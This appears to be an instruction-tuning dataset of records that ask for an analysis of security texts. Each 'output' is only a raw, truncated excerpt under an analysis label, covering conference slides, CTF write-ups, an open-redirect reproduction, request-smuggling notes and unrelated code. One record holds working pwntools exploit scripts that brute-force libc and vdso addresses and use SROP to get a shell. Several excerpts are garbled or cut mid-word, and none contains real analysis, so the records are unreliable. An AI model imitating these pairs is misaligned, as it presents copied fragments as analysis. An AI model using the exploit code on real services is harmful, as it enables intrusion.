huge topic so I will focus on a number of specific areas today I will talk about a TCP/IP environment All the research has been conducted against Windows and UNIX platforms 7 Why study Websphere MQ? The systems that communicate using it are usually business critical. Tools for testing the software are not currently in the public domain. The lack of security testing knowledge means that users of the software are potentially exposed to risk. If you own the Middleware you usually own the business process. 8 Technical Background 9 MQ Series A brief history In 1993 IBM bought IP rights to ezBridge from SSI Systems IBM produced a Mainframe version and SSI for other platforms In 1994/5 IBM produced versions for AIX, OS/2 and AS/400 MQSeries wa", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Unknown - Prison Cell Category: Web ## Description > You dont manage to disarm the guard, he is quicker than you are. He knocks you out, and when you wake up youre inside a prison cell, but it doesnt seem like youre on a boat anymore, you must be inside the headquarters on the secret island! The cell is claustrophobic, with rusty iron bars and a bed of concrete. > > Challenge: web-quotedb (web) > > In this challenge, you have to find the hidden flag. Good luck! ## Solution We get a simple website: ```console (user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] $ curl https://quotedb-web.2021.ctfcompetition.com/ Quote DB

Welcome to the amazing Quote DB

Here's the quote of the day for you:

\"It doesn't help to fight crime to put people in prison who are innocent.\" - Stephen Breyer

If you'd like to return to this quote, just click here.

``` As the website suggests, it's possible to access a specific quote directly: ```console (user@kali)-[/media/sf_CTFs/google/14_Unknown_-_Prison_Cell] $ curl https://quotedb-web.2021.ctfcompetition.com/?id=7 Quote DB

Welcome to the amazing Quote DB

Here's the quote of the day for you:

\"It doesn't help to fight crime to put people in prison who are innocent.\" - Stephen Breyer

If you'd like to return to thi", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAir Traffic Control: Insecurity and ADS-B Righter Kunkel, CISSP, CISA Security Researcher defcon 17 defcon 17 Righter Kunkel 2 Agenda Who am I? ATC Background DOS on a Tower State of Airline Security Where are we going? ADS-B defcon 17 Righter Kunkel 3 Who am I? Security Field for >12 years Worked with secure operating systems: B1, B2 Firewalls, proxies Trainer CISSP, CISA Ham Radio Private Pilot defcon 17 Righter Kunkel 4 First Is flying safe? YES Are planes going to fall out of the sky after this talk? NO Is flying safe after this talk? YES Is some of this talk illegal? YES Disclaimer: Dont do this! defcon 17 Righter Kunkel 5 Pilots? Is any one a pilot? defcon 17 Righter Kunkel 6 Our Focus We are not going to focus on: Airport physical security Cockpit door security X-Ray security Our focus: Computers used by ATC How airplanes report their position to ATC NexGen ATC defcon 17 Righter Kunkel 7 Why? ATC is busy moving planes through the air ATC not focused on network security of equipment being used Who would want to hack a radar scope? defcon 17 Righter Kunkel 8 Some ATC Background ATC VOR Transponders Flight Plans defcon 17 Righter Kunkel 9 ATC What is ATC? Source: GAO/T GAO/T GAO/T GAO/T----AIMD AIMD AIMD AIMD----00 00 00 00----330 FAA Computer Security 330 FAA Computer Security 330 FAA Computer Security 330 FAA Computer Security defcon 17 Righter Kunkel 10 VOR What are VORs? VHF Omni-directional Radio Range Source: Wikipedia defcon 17 Righter Kunkel 11 Airplane Transponder Source: Wikipedia defcon 17 Righter Kunkel 12 Mode-S Transponders Primary Surveillance Radar (PSR) Paint the skin Secondary Surveillance Radar (SSR) Asks planes transponder to send out a signal and data, time based Get unconfirmed ALT from plane Source: Wikipedia defcon 17 Righter Kunkel 13 How do Flight Plans Work? Pilot submits a requested route Goes into a central computer Real flight plan gets printed out at ATC Source: Wikipedia defcon 17 Righter Kunkel 14 Some interesting attacks in the ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nAnd Point of Sale Systems HACKING HOTEL KEYS Security Consultant TWITTER, LinkedIN @westonhecker Rapid7 www.rapid7.com Senior Security Engineer/Senior Pentester/ Security Researcher. About 11 years pen-testing, Security Research, Speaker at Defcon 22, 23 and 24 Las Vegas, HOPE 11, TakedownCON 2016,B-sides Boston, Blackhat 2016, Enterprise Connect 2016, ISC2, SC Congress Toronto. 12 years programming and Reverse Engineering. Side projects Department of Home Land Security. Attacking 911 centers / Malware Analysis Ransomware. Hacking ATMs, Cars, Point of Sale Systems, Hotel Key Systems - Property Management Software. A Little Bit About Myself Explain magstrip readers Magspoofer. Difference from RFID Explain Modification to device. Hotel back ends explained, POS systems Explained Process of key checkout check in. Different parts of hotels. Attacks on Privileged Keys. Maids, Service , Fireman Encryption is just encoded. What Is This Talk About? What lead to research on POS from hotel keys. How Do POS systems use magstripe readers. Trigger events and when the Reader listening and what is it listening for. Management cards on POS/card readers on the screen. How is a magstripe reader Used as a HID keyboard?. Injecting 102-US and proprietary keyboard layouts into binary data. Cash tend/Check tend attack. Attacking OS SQL injection CMD Drive by attack Restaurant attacks/other mag readers/Rewards programs and players cards on slot machines What Is This Talk About? What is Magspoofer Thanks to Samy Kamkar for his work. How does a Magstipe Reader work Explanation of Magspoofer+ and EM fields and how they interact w ith Heads on magnetic head read er this is not RFID Cards!!!. How magspoofer works what is SMT How To Handle Over Heating 100s of Cards = Heat Explanation of PMS Explanation of proprietary card readers and security behind hotel keys. Collecting information from keys and reissued keys. Interactions with different readers your door vs elevator external access and pool", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# CYBERSPLOIT: 1 > https://download.vulnhub.com/cybersploit/cybersploit.ova 靶场IP`192.168.2.17` 扫描对外端口服务 ``` (rootkali)-[/tmp] # nmap -p1-65535 -sV 192.168.2.17 Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-08 10:33 EDT Nmap scan report for 192.168.2.17 Host is up (0.000078s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.2.22 ((Ubuntu)) MAC Address: 08:00:27:48:83:0B (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 8.47 seconds ``` 爆破web目录 ``` (rootkali)-[/tmp] # dirb http://192.168.2.17/ ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Thu Sep 8 10:35:55 2022 URL_BASE: http://192.168.2.17/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://192.168.2.17/ ---- + http://192.168.2.17/cgi-bin/ (CODE:403|SIZE:288) + http://192.168.2.17/hacker (CODE:200|SIZE:3757743) + http://192.168.2.17/index (CODE:200|SIZE:2333) + http://192.168.2.17/index.html (CODE:200|SIZE:2333) + http://192.168.2.17/robots (CODE:200|SIZE:79) + http://192.168.2.17/robots.txt (CODE:200|SIZE:79) + http://192.168.2.17/server-status (CODE:403|SIZE:293) ----------------- END_TIME: Thu Sep 8 10:35:57 2022 DOWNLOADED: 4612 - FOUND: 7 ``` 访问80端口 ![QQ录屏20220908223456](../../.gitbook/assets/QQ录屏20220908223456.gif) 查看页面源代码找到一个用户名`itsskv` ![image-20220908224347156](../../.gitbook/assets/image-20220908224347156.png) 访问`/hacker` ![QQ录屏20220908223855](../../.gitbook/assets/QQ录屏20220908223855.gif) 访问`/robots.txt ` ``` (rootkali)-[/tmp] # curl http://192.168.2.17/robots.txt R29vZCBXb3JrICEKRmxhZzE6IGN5YmVyc3Bsb2l0e3lvdXR1YmUuY29tL2MvY3liZXJzcGxvaXR9 (rootkali)-[/tmp] # echo 'R29vZCBXb3JrICEKRmxhZzE6IG", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nCrypto: State of the Law DEF CON 24 Nate Cardozo, Senior Staff Attorney, EFF 783A 8CC4 166D 1768 4E8E DAFD 2D76 4786 4AE6 3181 End to end encryption is legal. Period. Jennifer Granick, Black Hat 2016 Questions? The Net interprets censorship as damage and routes around it. John Gilmore, ~1993 The First Crypto Wars The First Crypto Wars If all you have is a hammer If all you have is a J.D. And the Internet was a safer place for it! Thank your lucky PKIs for ECCN 5D002!! We thought we had solved the field But thanks to Comey More work remains The Next Crypto Wars What could possibly go wrong? What if we re-named back doors? The slide you are about to see is false. Legislation Many countries around the world are considering legislation that would either mandate backdoors, mandate access to plaintext or endanger encryption. UK IPB and the Death of e2e AUS DSGL and the Death of all crypto ! + \" = # $$$ Thanks Obama October 2015: We will not for nowcall for legislation requiring companies to decode messages for law enforcement. Thanks Obama November 2015: Identify laws that need to be changed to deal with going dark. Thanks Obama March 2016: My conclusion so far is that you cannot take an absolutist view on thisit's fetishizing our phones above every other value. And that can't be the right answer. All Writs Act Litigation Apple v. FBI This is the San Bernardino iPhone case Also, a case in EDNY Other Litigation Wiretap Act litigation may be coming New York Times report re: WhatsApp There may be FISA Court orders EFF is in the middle of a FOIA case to get access to them Burr-Feinstein Bill Would require providers to decrypt on demand Criminal and civil penalties Applies to comms, storage, and licensing This includes app stores and open source Not just e2e and FDE This would outlaw computers as we know them 2016 What are we looking at? Key escrow mandate I dont think this is actually going to happen. Burr-Feinstein This definitely wont happen (in", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# PAM --- ## 关于PAM PAM 基础知识见 [认证](../笔记/认证.md#pam) **安装 PAM** CentOSFedoraEulerOS 系统默认安装了 PAM 并默认启动 ```bash apt-get install libpam-cracklib ``` **判断程序是否使用了 PAM** ``` ldd /usr/bin/passwd | grep libpam ``` **PAM 身份验证配置文件** `/etc/pam.d/` 目录包含应用程序的 PAM 配置文件例如login 程序将其程序/服务名称定义为 login与之对应的 PAM 配置文件为 `/etc/pam.d/login` **PAM 配置文件语法格式** 每个PAM配置文件都包含一组指令用于定义模块以及控制标志和参数每条指令都有一个简单的语法用于标识模块的目的接口和模块的配置设置语法格式如下 ``` module_interface control_flag module_name module_arguments ``` **PAM 模块接口(模块管理组)** PAM为认证任务提供四种类型可用的模块接口它们分别提供不同的认证服务 * auth - 认证模块接口如验证用户身份检查密码是否可以通过并设置用户凭据 * account - 账户模块接口检查指定账户是否满足当前验证条件如用户是否有权访问所请求的服务检查账户是否到期 * password - 密码模块接口用于更改用户密码以及强制使用强密码配置 * session - 会话模块接口用于管理和配置用户会话会话在用户成功认证之后启动生效 **PAM 控制标志** 所有的 PAM 模块被调用时都会返回成功或者失败的结果每个 PAM 模块中由多个对应的控制标志决定结果是否通过或失败每一个控制标志对应一个处理结果PAM 库将这些通过/失败的结果整合为一个整体的通过/失败结果然后将结果返回给应用程序模块可以按特定的顺序堆叠控制标志是实现用户在对某一个特定的应用程序或服务身份验证的具体实现细节该控制标志是 PAM 配置文件中的第二个字段PAM 控制标志如下 * required - 模块结果必须成功才能继续认证如果在此处测试失败则继续测试引用在该模块接口的下一个模块直到所有的模块测试完成才将结果通知给用户 * requisite - 模块结果必须成功才能继续认证如果在此处测试失败则会立即将失败结果通知给用户 * sufficient - 模块结果如果测试失败将被忽略如果 sufficient 模块测试成功并且之前的 required 模块没有发生故障PAM 会向应用程序返回通过的结果不会再调用堆栈中其他模块 * optional - 该模块返回的通过 / 失败结果被忽略当没有其他模块被引用时标记为 optional 模块并且成功验证时该模块才是必须的该模块被调用来执行一些操作并不影响模块堆栈的结果 * include - 与其他控制标志不同include 与模块结果的处理方式无关该标志用于直接引用其他 PAM 模块的配置参数 --- ## PAM模式使用说明 ### pam_access.so pam_access.so 模块主要的功能和作用是根据主机名包括普通主机名或者 FQDNIP 地址和用户实现全面的访问控制pam_access.so 模块的具体工作行为根据配置文件 `/etc/security/access.conf` 来决定该配置文件的主体包含了三个字段权限用户和访问发起方格式上是一个用 \"\" 隔开的表 * 第一个字段权限permission使用 \"+\" 表示授予权限用 \"-\" 表示禁止权限 * 第二个字段用户user定义了用户组以及用 \"@\" 表示的在不同主机上的同名用户和同一主机上不同名用户 * 第三个字段访问发起方origins定义了发起访问的主机名称域名称终端名称 而且 `/etc/security/access.conf` 文件提供了很多范例供修改时参考并且都给出了具体的说明例如 ```bash #禁止非root用户通过tty1访问相关服务 #-:ALL EXCEPT root:tty1 #禁止除了wheelshutdown以及sync之外的所有用户访问相关服务 #-:ALL EXCEPT wheel shutdown sync:LOCAL #禁止wheel用户通过.win.tue.nl之外的其它它终端访问相关服务 #-:wheel:ALL EXCEPT LOCAL .win.tue.nl # 禁止下面的用户从任何主机登录其它用户可以从任意地方访问相关服务 #-:wsbscaro wsbsecr wsbspac wsbsym wscosor wstaiwde:AL", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nWhos&this&guy& 10&years&on&the&defensive&side& File&analysis&&&RE& Recently&doing&research&using&machine& learning& Level&Se?ng& ROP& Technique&to&bypass&nonFexecutable&memory& Bounce&around&in&memory&execuIng&small& gadgets&that&typically&end&with&a&return& instrucIon& PIN& Pin&is&a&dynamic&binary&instrumentaIon& framework&from&Intel& Does¬&require&recompiling&of&source&&&&&&&&&&&& code&and&can&support&instrumenIng&&&&&&&&&& programs&that&dynamically&generate&code& Basic&Idea& Control&flow&integrity& Start&with&coarse&grain&controls& We&know&valid&targets&for&calls&and&rets& FuncIons& InstrucIons&aQer&a&call&instrucIon& A&whitelist&containing&these&addresses& Store&the&offset&to&these&locaIons& If&an&indirect&call&or&a&ret&goes&to&a&&&&&&&&&&&&&&&&&&&&&&&& different&locaIon,&then&ROP& How&Do&We&Get&Those?& BranchTargetDetector&pintool& When&DLL&is&loaded,&the&exported&funcIons& are&analyzed& All&calls&and&returns&are&instrumented&&&&&&&&&&&&& as&well& Offsets&are&stored&and&dumped&to&text&&&&&&&&&&& file&when&program&exits& BranchTargetDetector& Pros& We&get&real,&actual&used&values& Cons& Not&the&fastest&thing& Only&get&values&from&funcIons&pin&can&&&&&&&&&&& detect&and&what&it&actually&executes& If&DLL&isnt&loaded,&you&dont&get&data&&&&&&&&&&&&&&&&&&& for&it& Must&run&mulIple&Imes& How&Else&Can&We&Get&Those?& pyew& Much&be[er&at&detecIng&funcIons& Can&extract&the&flow&graphs& Can&bulk&run&all&DLLs& Have&Data,&Now&What?& Store&offsets&in&file&per&md5&hash&of&dll& Allows&for&handling&of&different&versions&of&the& same&dll& ROPDetector& When&a&DLL&is&loaded,&load&the&white&list&for& that&DLL& Instrument&all&indirect&calls&and&RETs&and&alert& when&target&is¬&on&the&white&list& Example&1& Adobe&Reader&9.3&on&Windows&XP& 32dbd816b0b08878bd332eee299bbec4& CVEF2010F2883& StackFbased&buffer&overflow&in&CoolType.dll& DetecIon!& C:\\Program Files\\Adobe\\Reader 9.0\\Reader\\icucnv36.dll 0x4a80cb3f: ret Target: 0x4a82a714 (0x2a714) & Yay?& We&d", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# Django < 2.0.8 Open redirect possibility in CommonMiddleware (CVE-2018-14574) [中文版本(Chinese version)](README.zh-cn.md) If the `django.middleware.common.CommonMiddleware` and the `APPEND_SLASH` setting are both enabled, and if the project has a URL pattern that accepts any path ending in a slash, then a request to a maliciously crafted URL of that site could lead to a redirect to another site, enabling phishing and other attacks. ## Vulnerability environment Start the environment with Django 2.0.7: ``` docker compose build docker compose up -d ``` ## Exploit Now visit `http://your-ip:8000//www.example.com`, you will be redirected to `//www.example.com/` ![](1.png)", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nThe Remote Metamorphic Engine Detecting, Evading, Attacking the AI and Reverse Engineering Amro Abdelgawad / DEFCON 24 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret The Remote Metamorphic Engine Security as undefined expression Flux binary mutation Resisting Reverse Engineering Evading AI machine learning Artificial Immunity 2 line46_1: mov ecx, [esp] nop nop mov dl, 0xe9 test edx, edx mov byte [ecx], dl xor eax, 0 mov edx, 0x00000067 mov dword [ecx+1], edx ret line95: pushad pushf call line95_1 db 7 db 3 dd 838225172 db 2 dd 4211932376 db 4 dd 2520091426 db 3 dd 946381070 db 2 dd 3318121790 db 2 dd 1375432265 db 1 dd -1 mov ebx, 92 add eax, ebx mov ebx, eax sub dword [eax], 0xe82c334d add eax, 4 add dword [eax], 0xa1723594 add eax, 4 xor dword [eax], 0xb1c21343 add eax, 4 sub dword [eax], 0x111111ee add eax, 4 add dword [eax], 0xaaccee22 add eax, 4 jmp ebx line95_2: popf popad nop jmp long line96 line95_1: mov eax, [esp] nop nop xor eax, eax xor ecx, ecx xor edx, edx mov cl, 0xe9 mov byte [eax], cl xor edx, 0 mov ecx, 0x00000057 mov dword [eax+1], ecx ret Security Patterns {Division by Infinity | Division by Zero } Isolation Randomization 1 / dword 1 / 4294967295 1 * 0 = 0 1 / = 0 undefined 1 / 0 = undefined Reducing probabilities Undefined Probabilities 3 line46_1: mov ecx,", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n# HTTP_request_smuggling --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- **相关文章** - [HTTP Desync Attacks: Request Smuggling Reborn | Blog - PortSwigger](https://portswigger.net/blog/http-desync-attacks-request-smuggling-reborn) - [HTTP Desync Attacks: Smashing into the Cell Next Door ](https://xz.aliyun.com/t/5978) - 上面的翻译版 - [What is HTTP request smuggling? Tutorial & Examples](https://portswigger.net/web-security/request-smuggling) - [HTTP request smuggling](https://saucer-man.com/information_security/368.html) - [一篇文章带你读懂 HTTP Smuggling 攻击](https://blog.zeddyu.info/2019/12/05/HTTP-Smuggling/) - [协议层的攻击HTTP请求走私](https://paper.seebug.org/1048/) - [Breaking the chains on HTTP Request Smuggler](https://portswigger.net/research/breaking-the-chains-on-http-request-smuggler) - [从一道题深入HTTP协议与HTTP请求走私](https://xz.aliyun.com/t/6631) - [流量夹带(HTTP Request Smuggling) 检测方案的实现](https://blog.riskivy.com/%e6%b5%81%e9%87%8f%e5%a4%b9%e5%b8%a6http-request-smuggling-%e6%a3%80%e6%b5%8b%e6%96%b9%e6%a1%88%e7%9a%84%e5%ae%9e%e7%8e%b0/) **靶场** - [ZeddYu/HTTP-Smuggling-Lab](https://github.com/ZeddYu/HTTP-Smuggling-Lab) **burp扩展** - [PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler) **相关工具** - [defparam/smuggler](https://github.com/defparam/smuggler) - Python 3 编写的 HTTP 请求走私检测工具 --- # 漏洞产生的原因 HTTP Request Smuggling 最初是由 WatchFire1 于 2005 年记录下来的由于难以利用和危害性无法控制该问题一直处于被忽略的状态直到 2019 年的 BlackHat USA 上PortSwigger 的 James Kettle 在他的议题HTTP Desync Attacks: Smashing into the Cell Next Door 中提出了一套较为完善的利用流程这个漏洞才被人熟知 上面我们说到了 HTTP 协议的基本原理其中一个 HTTP 请求中可以有多种方式来指定消息的长度比如Content-LengthTransfer-Encoding 但是当一个请求中同时出现了 2 种方法就会发生一些问题HTTP 规范 (RFC2616) 中定义如果接收的消息同时包含传输编码头字段 (Transfer-Encoding) 和内容长度头 (Content-Length) 字段则必须忽略后者然而后端服务器有自己的想法它会同时处理 --- # 几种走私请求利用方法 **CL 不为 0 的 GET 请求** 假设前端代理服务器允许 GET 请求携带请求体而后端服务器不允许 GET 请求携带请求体它会直接忽略掉 GET 请求中的 Content-Length 头不进行处理这就有可能导致请求走私 ``` GET / HTTP/1.1\\r\\n Host: example.com\\r\\n Content-Length: 44\\r\\n GET / secret HT", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n'\\\" '\\\" Copyright (c) 1997 Sun Microsystems, Inc. '\\\" '\\\" See the file \"license.terms\" for information on usage and redistribution '\\\" of this file, and for a DISCLAIMER OF ALL WARRANTIES. '\\\" RCS: @(#) $Id: resource.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $ '\\\" '\\\" The definitions below are for supplemental macros used in Tcl/Tk '\\\" manual entries. '\\\" '\\\" .AP type name in/out ?indent? '\\\" Start paragraph describing an argument to a library procedure. '\\\" type is type of argument (int, etc.), in/out is either \"in\", \"out\", '\\\" or \"in/out\" to describe whether procedure reads or modifies arg, '\\\" and indent is equivalent to second arg of .IP (shouldn't ever be '\\\" needed; use .AS below instead) '\\\" '\\\" .AS ?type? ?name? '\\\" Give maximum sizes of arguments for setting tab stops. Type and '\\\" name are examples of largest possible arguments that will be passed '\\\" to .AP later. If args are omitted, default tab stops are used. '\\\" '\\\" .BS '\\\" Start box enclosure. From here until next .BE, everything will be '\\\" enclosed in one large box. '\\\" '\\\" .BE '\\\" End of box enclosure. '\\\" '\\\" .CS '\\\" Begin code excerpt. '\\\" '\\\" .CE '\\\" End code excerpt. '\\\" '\\\" .VS ?version? ?br? '\\\" Begin vertical sidebar, for use in marking newly-changed parts '\\\" of man pages. The first argument is ignored and used for recording '\\\" the version when the .VS was added, so that the sidebars can be '\\\" found and removed when they reach a certain age. If another argument '\\\" is present, then a line break is forced before starting the sidebar. '\\\" '\\\" .VE '\\\" End of vertical sidebar. '\\\" '\\\" .DS '\\\" Begin an indented unfilled display. '\\\" '\\\" .DE '\\\" End of indented unfilled display. '\\\" '\\\" .SO '\\\" Start of list of standard options for a Tk widget. The '\\\" options follow on successive lines, in four columns separated '\\\" by tabs. '\\\" '\\\" .SE '\\\" End of list of standard options for a Tk widget. '\\\" '\\\" .OP cmdName dbName dbClass '\\\" Start of description of a specific option. cmdName gives the '\\\" opti", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nBugged&Files& Is#Your#Document#Telling#on#You?# Daniel#Crowley,#Damon#Smith# Damon&Smith& Who&are&we?& Daniel&Crowley& Files&that&trigger&outbound&traffic&when&parsed& & &Without&being&an&executable&format& &Regardless&of&format&complexity& &&&&&&Without&the&use&of&exploits& & &and&the&implications&of&all&that& What&is&this&talk&about?& Privacy& DRM& DLP& DeFanonymization& Security& NTLM&credential&capture/relay& CSRF& Its&a&feature,¬&a&bug& Why&is&this&important?& & Demonstration& RTF& WMV& Office&formats& .docx& .pptx& .xlsx& PLS&playlists& Shortcut&(.lnk)&files& Desktop.ini&files& HTML& What&formats&are&already&known&to& allow&this?& HTML&in&IE& Linked&images&in&emails&opened&in&Outlook!& Other&NTLM&trigger&silliness& Document&formats& Media&formats& Meeting/scheduling&related&formats& & What&did&our&work&focus&on?& Remote&image& No&warning,&no&NTLM& App.media.openPlayer()& Warning,&NTLM&possible& getURL()& Warning,&NTLM&possible& PDF& Linked&document&on&UNC&share& Warning&(ignored),&NTLM&possible& RTF& Remote&XML&stylesheets& Javascript& SVG&(Scalable&Vector&Graphics)& All&these&formats&support&remote&media& Even&UNC&paths& M3U&/&PLS&/&ASX& ID3&tag& LINK&frame& APIC&frame& Not&supported&on& any&major&player&we& tested&!& MP3& URLANDEXIT& Launches&default&browser&with&specified&URL& DRM&functionality&abuse& Subtitles& Can&include&arbitrary&HTML& ASF&(WMA/WMV/ASF)& HTTP&tracker&URLs&in&announceFlist& As&many&as&you&want& URL&seeds&allowed&in&urlFlist& Clients&can&implement&any&URL&handler& Must&support&one&or&both&of&HTTP&&&FTP& Not&universally&supported& TORRENT& Free/Busy&URL& No&warning,&NTLM&possible& Requires&specific&actions&by&recipient& VCF&(vCard&format)& VALARM& ATTACH¶meter&is&a&URL& AUDIO&and&PROCEDURE&alarm&types& & ICS&is&the&iCalendar&format& Not&even&Calendar.app&will&let&you&accept& PROCEDURE&!& ICS&(iCalendar&format)& Email& Open&file&share& Watering&hole& P2P&distribution& Honeypot& ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n/* * Copyright 2015-2017 the original author or authors. * * Licensed under the Apache License, Version 2.0 (the \"License\"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an \"AS IS\" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package example.springdata.rest.headers; import org.springframework.data.repository.CrudRepository; import org.springframework.web.bind.annotation.CrossOrigin; /** * Spring Data repository interface to manage {@link Customer} instances. * * @author Oliver Gierke * @author Mark Paluch * @soundtrack The Intersphere - Out of phase (Live at Alte Feuerwache Mannheim) */ @CrossOrigin(origins = { \"http://localhost\", \"http://localhost:1234\" }) public interface CustomerRepository extends CrudRepository {}", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\n(psx86_pie&x86_srop入门题) 文件链接https://pan.baidu.com/s/17pIc0RrfLRH9arMbJmJGjA 提取码4olb 环境搭建 1.查看文件信息及保护机制 got表只读NXPIE都开了 2.ubuntu运行ida*32远程调试文件打开ida32对程序进行分析 函数窗口中未发现可以函数打开main函数发现只有一个read函数并且可以栈溢出 3.远程调试断点于main函数第一行运行 4. 看到程序运行后ida中的模块窗口出现这些则有 一.根据pie的特性最后12位不变多次加载程序后发现libc的基址前三位也是不变也 就是只需爆破8位即可 二.可以通过上述方法进行爆破vdso地址与上面不同的是vdso的地址第三位是可变的 有时是E有时是F然后进行srop 5. 这里有个坑如果是新手就是ida上模块中的libc文件名并不是题目中给出的libc文 件而是以实际程序调用的libc文件为准 可以看到题目给出的libc文件和程序实际加载的libc文件是不一样的(由于是用本地系统搭建 pwn题环境)地址也理所当然的不一样所以本地搭建环境一定要看清楚程序到底用 哪个libc文件 6. ①爆破libc的exp 亦可直接覆盖返回地址的后3字节->6位16进制数来爆破one_gadget 1 from pwn import * 2 3 context.binary = './233' 4 5 6 libc_start = 0xf7d56000 #guess_start_address 7 #one_gadget_add = libc_start + 0x3af1c 8 system_add = libc_start + 0x3a940 9 shell = libc_start + 0x15902b 10 11 while True: 12 try: 13 link = remote(\"192.168.93.137\",\"6666\") 14 #payload = 'A' * 0x16 + p32(one_gadget_add) 15 payload = 'A' * 0x16 16 payload += p32(system_add) 17 payload +=p32(0) 18 payload += p32(shell) 19 link.send(payload) 20 link.recv(timneout=1) 21 except EOFError: 22 link.close() 23 continue 24 link.interactive() 执行爆破脚本getshell 拿flag ②爆破vdso进行SROPexp 1 from pwn import * 2 3 context.binary = './233' 4 5 global link 6 7 shellcode = asm(shellcraft.i386.linux.sh(),arch='i386') 8 vdso_add = 0xf7f17000 9 #ldd或者ida打开程序 10 #vdso 前几位都大几率是0xf7f 11 #再结合pie最后12位不变 12 #vdso也是只需爆破8位 13 int_80_add = vdso_add + 0xde6 14 sigreturn_add = vdso_add + 0xde1 #mov eax,0x77 int 80 15 int_80_pop3_ret = vdso_add + 0xdc7 16 can_write_add = vdso_add 0x4000 17 i=0 18 19 def send_no_line(str): 20 return link.send(str) 21 22 def stack_overflow(ropchain): 23 payload = 'A' * 0x16 + ropchain 24 payload = payload.ljust(0x400,'A') # 25 send_no_line(payload) 26 return 27 28 def srop(): 29 payload = 3 * 'AAAA' + p32(sigreturn_add) 30 frame1 = SigreturnFrame(kernel='amd64') 31 frame1.eax = constants.SYS_read 32 frame1.ebx = 0 33 frame1.ecx = can_write_add + 0x200 34 frame1.edx = len(shellcode) 35 frame1.eip = int_80_pop3_ret 36 ", "category": "text_analysis", "source": "security_papers"} {"instruction": "请分析这段安全相关的文本内容", "input": "", "output": "安全文本分析：\n\nInterview with David MacMichael February 13, 2006 by Richard Thieme David MacMichael is a former CIA Analyst, US Marine and historian. He was a senior estimates officer with special responsibility for Western Hemisphere Affairs at the CIA's National Intelligence Council from 1981 to 1983. He resigned from the CIA rather than falsify reports for political reasons and testified at the World Court on the illegalities of Iran-Contra. MacMichael started The Association of National Security Alumni, an organization to expose and curtail covert actions, and is a steering committee member of Veteran Intelligence Professionals for Sanity (VIPS). He and Richard Thieme, a frequent contributor to NCR, recently met at an Intelligence Ethics Conference that gathered nearly two hundred professionals from a broad spectrum of perspectives to discuss the impact of a career in intelligence on the moral and ethical life of the intelligence professional. MacMichael discusses his background, ethical issues in intelligence, and the relevance of Iran-Contra to current national security issues. RT: David, we discussed technology and the intelligence community DM: Thats a term I hate! It sounds so warm and fuzzy. RT: What do you prefer? DM: Intelligence system. RT: OK. Technology and the intelligence system. DM: For years I worked at SRI (Stanford Research Institute) and Uri Geller and people like that were always floating through. I was supposed to be a voice of sanity but they did get me thinking about certain things that show up in your piece on technology (MacMichael reviewed my essay, The Changing Context of Intelligence and Ethics: Enabling Technologies as Transformational Engines) and what is happening there in the intelligence community. Jacques Ellul wrote of how technology defines the way the world operates and 